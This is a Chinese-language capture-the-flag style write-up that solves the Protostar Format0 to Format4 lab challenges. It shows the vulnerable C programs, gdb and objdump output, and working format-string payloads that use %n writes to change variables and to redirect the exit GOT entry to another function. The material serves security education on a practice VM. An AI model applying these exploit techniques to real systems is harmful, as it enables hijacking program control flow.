Protostar Format Write Up

Protostar Format0

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);

  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

思路:这题还是在考溢出,要求输入不能超过10个字节,这就不好输入64个字符去溢出了(事实上可以这么做,因为程序并没限制输入长度)。

$ /opt/protostar/bin/format0 `python -c "print '%64c\xef\xbe\xad\xde'"`
you have hit the target correctly :)

Protostar Format1

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln(char *string)
{
  printf(string);

  if(target) {
      printf("you have modified the target :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

思路:要让target的值不为0,可以通过printf的格式化字符参数%n对target进行写入。查看target的地址

$ objdump -t ./format1 | grep target
08049638 g     O .bss   00000004              target

找printf的格式化字符串偏移

/opt/protostar/bin/format1 `python -c "print 'AAAAAAA'+'%x.'*200+'%x.%x'"`
AAAAAAA804960c.bffffa78.8048469.b7fd8304.b7fd7ff4.bffffa78.8048435.bffffc3c.b7ff1040.804845b.b7fd7ff4.8048450.0.bffffaf8.b7eadc76.2.bffffb24.bffffb30.b7fe1848.bffffae0.ffffffff.b7ffeff4.804824d.1.bffffae0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffffaf8.edc5b76f.c788c17f.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffffb24.8048450.8048440.b7ff1040.bffffb1c.b7fff8f8.2.bffffc21.bffffc3c.0.bffffea1.bffffec2.bffffecc.bffffee0.bffffef6.bfffff06.bfffff19.bfffff26.bfffff3a.bfffff78.bfffff89.bfffff97.bfffffae.0.20.b7fe2414.21.b7fe2000.10.fabfbff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.0.d.3e9.e.3e9.17.1.19.bffffc0b.1f.bfffffe1.f.bffffc1b.0.0.d1000000.5b002451.e0080918.7d641906.695bcde6.363836.706f2f00.72702f74.736f746f.2f726174.2f6e6962.6d726f66.317461.41414141.25414141.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e

要减掉74个偏移

$ /opt/protostar/bin/format1 `python -c "print 'AAAAAAA'+'%x.'*126+'%x.%x'"`
AAAAAAA804960c.bffffb48.8048469.b7fd8304.b7fd7ff4.bffffb48.8048435.bffffd1a.b7ff1040.804845b.b7fd7ff4.8048450.0.bffffbc8.b7eadc76.2.bffffbf4.bffffc00.b7fe1848.bffffbb0.ffffffff.b7ffeff4.804824d.1.bffffbb0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffffbc8.b5cb15a7.9f85c3b7.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffffbf4.8048450.8048440.b7ff1040.bffffbec.b7fff8f8.2.bffffcff.bffffd1a.0.bffffea1.bffffec2.bffffecc.bffffee0.bffffef6.bfffff06.bfffff19.bfffff26.bfffff3a.bfffff78.bfffff89.bfffff97.bfffffae.0.20.b7fe2414.21.b7fe2000.10.fabfbff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.0.d.3e9.e.3e9.17.1.19.bffffcdb.1f.bfffffe1.f.bffffceb.0.0.e9000000.da822fcd.c26c251e.34113db.699ad322.363836.0.0.0.2f000000.2f74706f.746f7270.6174736f.69622f72.6f662f6e

What!AAAAAAA(41414141414141)哪去了?再增加5个偏移试试

$ /opt/protostar/bin/format1 `python -c "print 'AAAAAAA'+'%x.'*131+'%x.%x'"`
AAAAAAA804960c.bffffb48.8048469.b7fd8304.b7fd7ff4.bffffb48.8048435.bffffd0b.b7ff1040.804845b.b7fd7ff4.8048450.0.bffffbc8.b7eadc76.2.bffffbf4.bffffc00.b7fe1848.bffffbb0.ffffffff.b7ffeff4.804824d.1.bffffbb0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffffbc8.842a5824.ae648e34.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffffbf4.8048450.8048440.b7ff1040.bffffbec.b7fff8f8.2.bffffcf0.bffffd0b.0.bffffea1.bffffec2.bffffecc.bffffee0.bffffef6.bfffff06.bfffff19.bfffff26.bfffff3a.bfffff78.bfffff89.bfffff97.bfffffae.0.20.b7fe2414.21.b7fe2000.10.fabfbff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.0.d.3e9.e.3e9.17.1.19.bffffcdb.1f.bfffffe1.f.bffffceb.0.0.f2000000.7c367e91.ddadbdee.74710e02.696d86b4.363836.74706f2f.6f72702f.74736f74.622f7261.662f6e69.616d726f.41003174.41414141.78254141.2e78252e.252e7825.78252e78.2e78252e.252e7825

这里明明多出了5个偏移。减掉3个偏移试试

$ /opt/protostar/bin/format1 `python -c "print 'AAAAAAA'+'%x.'*128+'%x.%x'"`
AAAAAAA804960c.bffffb48.8048469.b7fd8304.b7fd7ff4.bffffb48.8048435.bffffd14.b7ff1040.804845b.b7fd7ff4.8048450.0.bffffbc8.b7eadc76.2.bffffbf4.bffffc00.b7fe1848.bffffbb0.ffffffff.b7ffeff4.804824d.1.bffffbb0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffffbc8.42e32c15.68adfa05.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffffbf4.8048450.8048440.b7ff1040.bffffbec.b7fff8f8.2.bffffcf9.bffffd14.0.bffffea1.bffffec2.bffffecc.bffffee0.bffffef6.bfffff06.bfffff19.bfffff26.bfffff3a.bfffff78.bfffff89.bfffff97.bfffffae.0.20.b7fe2414.21.b7fe2000.10.fabfbff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.0.d.3e9.e.3e9.17.1.19.bffffcdb.1f.bfffffe1.f.bffffceb.0.0.27000000.c62c7774.ebb55e8a.2e784acf.69741b43.363836.0.0.706f2f00.72702f74.736f746f.2f726174.2f6e6962.6d726f66.317461.41414141.25414141

这次将AAAAAAA放到了最后的8个字节了,将前4个A改成target的地址,倒数第2个%x改成%n,对target进行写入(从输出我们看到这个数值肯定不为0)

$ /opt/protostar/bin/format1 `python -c "print '\x38\x96\x04\x08AAA'+'%x.'*128+'%n.%x'"`
8�AAA804960c.bffffb48.8048469.b7fd8304.b7fd7ff4.bffffb48.8048435.bffffd14.b7ff1040.804845b.b7fd7ff4.8048450.0.bffffbc8.b7eadc76.2.bffffbf4.bffffc00.b7fe1848.bffffbb0.ffffffff.b7ffeff4.804824d.1.bffffbb0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffffbc8.7afccad0.50b21cc0.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffffbf4.8048450.8048440.b7ff1040.bffffbec.b7fff8f8.2.bffffcf9.bffffd14.0.bffffea1.bffffec2.bffffecc.bffffee0.bffffef6.bfffff06.bfffff19.bfffff26.bfffff3a.bfffff78.bfffff89.bfffff97.bfffffae.0.20.b7fe2414.21.b7fe2000.10.fabfbff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.0.d.3e9.e.3e9.17.1.19.bffffcdb.1f.bfffffe1.f.bffffceb.0.0.c9000000.3561420f.7fd7c285.ed64dd0e.6910e8b1.363836.0.0.706f2f00.72702f74.736f746f.2f726174.2f6e6962.6d726f66.317461..25414141you have modified the target :)

成功了。这里我用7个A,而不用4个A,因为根据抽屉原理,至少7个A可以覆盖一个连续的4字节。

但这个输出好难看,优化一下,用n$去直接定位偏移,修改payload如下:

$ ./format1 `python -c 'print "\x38\x96\x04\x08AAA"+".%124$n.%125$x"'`
8�AAA..2e414141you have modified the target :)

这里的124和125是重新测的偏移(中途退出了protostar的登录,重新登录进去后偏移变了),另外发现/opt/protostar/bin/format1与./format1的偏移也是不一样的。

Protostar Format2

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);
  printf(buffer);

  if(target == 64) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %d :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

思路:与上题类似,但这里需要将target的值赋为64,可以通过string+%n实现。首先找到target的位置

$ objdump -t ./format2 | grep target
080496e4 g     O .bss   00000004              target

找printf的偏移

$ echo `python -c "print 'AAAAAAA'+'.%x'*200"` | /opt/protostar/bin/format2
AAAAAAA.200.b7fd8420.bffffb24.41414141.2e414141.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.78252e.b7ec6365.b7ff1040.bffffcf8.80484c6.80484e0.0.bffffd78.b7eadc76.1.bffffda4.bffffdac.b7fe1848.bffffd60.ffffffff.b7ffeff4.8048285.1.bffffd60.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffffd78.c4282622.ee6a5032.0.0.0.1.80483a0.0.b7ff6210.b7eadb9b.b7ffeff4.1target is 0 :(

偏移在第4个位置

$ echo `python -c "print 'AAAA'+'%x'*4"` | /opt/protostar/bin/format2
AAAA200b7fd8420bffffb0441414141
target is 0 :(

要使target为64,而需要在格式化字符串输出到%n时达到64个字符,其中200b7fd8420bffffb04有19个字符,除了要输入的target的占4个字节,还差41个字符,构造payload

$ echo `python -c "print '\xe4\x96\x04\x08'+'A'*41+'%x'*3+'%n'"` | /opt/protostar/bin/format2
��AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA200b7fd8420bffffb04
you have modified the target :)

美化一下

$ echo `python -c 'print "\xe4\x96\x04\x08%60c%4$n"'` | /opt/protostar/bin/format2
��                                                           
you have modified the target :)

这里有个有趣的地方:引号问题。上面这个payload,如果将单引与双引交换,则通不过。以为是%4 npython2python3print n’与print “%4$n”的结果是一样的,好吧,先mark一下。以后还是用’”“’,不用”””(这跟sql里的常用写法反过来)

Protostar Format3

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
  printf(string);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printbuffer(buffer);

  if(target == 0x01025544) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %08x :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

思路:要将target写入0x01025544,%n写入的是一个字节,那就可以一个字节一个字节地写入,如果后一个字节要放的数字比前一位要放的数字小,则利用高位溢出

找target位置

$ objdump -t /opt/protostar/bin/format3 | grep target
080496f4 g     O .bss   00000004              target

找printbuffer偏移

$ python -c 'print "AAAAAAA"+".%x"*15' | /opt/protostar/bin/format3
AAAAAAA.0.bffffac0.b7fd7ff4.0.0.bffffcc8.804849d.bffffac0.200.b7fd8420.bffffb04.41414141.2e414141.252e7825.78252e78
target is 00000000 :(
$ python -c 'print "AAAA"+".%x"*12' | /opt/protostar/bin/format3
AAAA.0.bffffac0.b7fd7ff4.0.0.bffffcc8.804849d.bffffac0.200.b7fd8420.bffffb04.41414141
target is 00000000 :(

得偏移量为12,写入target

$ python -c 'print "\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08\xf7\x96\x04\x08%12$n%13$n%14$n%15$n"' | /opt/protostar/bin/format3
��������
target is 10101010 :(

要使得target的存储状态为:44 55 02 01
0x44 - 0x10 = 0x34 = 52
0x55 - 0x44 = 0x11 = 17
0x02 - 0x55 -> 0x102 - 0x55 = 0xad = 173
0x01 - 0x102 -> 0x201 - 0x102 = 0xff = 255

构造payload:

$ python -c 'print "\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08\xf7\x96\x04\x08%52c%12$n%17c%13$n%173c%14$n%255c%15$n"' | /opt/protostar/bin/format3
��������                                                                   �                                                                                                                                                                            �                                                                                                                                                                                                                                                              
you have modified the target :)

Protostar Format4

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
  printf("code execution redirected! you win\n");
  _exit(1);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printf(buffer);

  exit(1);   
}

int main(int argc, char **argv)
{
  vuln();
}

思路:从程序上看,应该是要控制eip,使其跳转到hello的地址上去。而printf后有exit,也就可以利用printf来控制exit跳转到hello

exit本应该跳的地址

$ gdb -q format4
Reading symbols from /opt/protostar/bin/format4...done.
(gdb) disassemble vuln
Dump of assembler code for function vuln:
0x080484d2 <vuln+0>:    push   %ebp
0x080484d3 <vuln+1>:    mov    %esp,%ebp
0x080484d5 <vuln+3>:    sub    $0x218,%esp
0x080484db <vuln+9>:    mov    0x8049730,%eax
0x080484e0 <vuln+14>:   mov    %eax,0x8(%esp)
0x080484e4 <vuln+18>:   movl   $0x200,0x4(%esp)
0x080484ec <vuln+26>:   lea    -0x208(%ebp),%eax
0x080484f2 <vuln+32>:   mov    %eax,(%esp)
0x080484f5 <vuln+35>:   call   0x804839c <fgets@plt>
0x080484fa <vuln+40>:   lea    -0x208(%ebp),%eax
0x08048500 <vuln+46>:   mov    %eax,(%esp)
0x08048503 <vuln+49>:   call   0x80483cc <printf@plt>
0x08048508 <vuln+54>:   movl   $0x1,(%esp)
0x0804850f <vuln+61>:   call   0x80483ec <exit@plt>
End of assembler dump.
(gdb) x/i 0x80483ec
0x80483ec <exit@plt>:   jmp    *0x8049724

hello的地址

(gdb) p hello
$1 = {void (void)} 0x80484b4 <hello>

也就是说,要将0x8049724对应的内容改写为0x80484b4,这可是printf的强项。查找printf的输入偏移

$ python -c 'print "AAAAAAA"+".%x"*15' | /opt/protostar/bin/format4
AAAAAAA.200.b7fd8420.bffffb04.41414141.2e414141.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825
$ python -c 'print "AAAA"+".%x"*4' | /opt/protostar/bin/format4
AAAA.200.b7fd8420.bffffb04.41414141

要将0x8049724对应的内容改写为0x80484b4,即0x8049724对应的内容存储状态为:b4 84 04 08
0xb4 - 0x10 = 0xa4 = 164
0x84 - 0xb4 -> 0x184 - 0xb4 = 208
0x04 - 0x184 -> 0x204 - 0x184 = 128
0x08 - 0x204 -> 0x208 - 0x204 = 4

构造payload:

$ python -c 'print "\x24\x97\x04\x08\x25\x97\x04\x08\x26\x97\x04\x08\x27\x97\x04\x08%164c%4$n%208c%5$n%128c%6$n%4c%7$n"' | /opt/protostar/bin/format4
$�%�&�'�                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     $
code execution redirected! you win

小结

格式化字符串漏洞并不神秘,只要用心去调一调。但是,经典漏洞确实是经典,是过去,在当今的操作系统上并不是直接按照当年的套路就可以复现。这里也留下了3个问题待思考:

  1. 对于format1,去测printf偏移时,偏移量变来变去是为什么?为什么后面的format却没有这样的问题?
  2. 为什么以绝对路径和相对路径执行程序的结果会不同?
  3. 为什么python的printf ‘“xxx”’与printf “‘xxx’”的结果会不同?
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值